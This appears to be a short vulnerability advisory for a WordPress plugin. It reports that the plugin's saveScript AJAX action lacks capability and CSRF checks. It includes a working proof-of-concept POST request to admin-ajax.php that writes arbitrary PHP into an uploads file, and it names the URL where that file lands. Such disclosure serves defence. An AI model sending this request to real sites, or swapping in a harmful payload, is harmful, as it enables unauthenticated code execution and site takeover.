The plugin does not have capability and CSRF checks in the saveScript AJAX action, available to both unauthenticated and authenticated users, and does not validate user input in any way, which could allow unauthenticated users to put arbitrary PHP code in a file
POST /wp-admin/admin-ajax.php HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 295
action=saveScript&php_script=%22%3C%3Fphp+die('test')%3B%22&SCORG_enable_script=1&form_data=post_status%3Dpublish%26post_name%3Dtest%26post_author%3D1%26post_name%3Dtest%26post_ID%3D200%26post_title%3Dtest%26SCORG_enable_script%3D1%26SCORG_trigger_location%3Deverywhere%26SCORG_script_type%3Dphp
The file will be at https://example.com/wp-content/uploads/scripts-organizer/200.php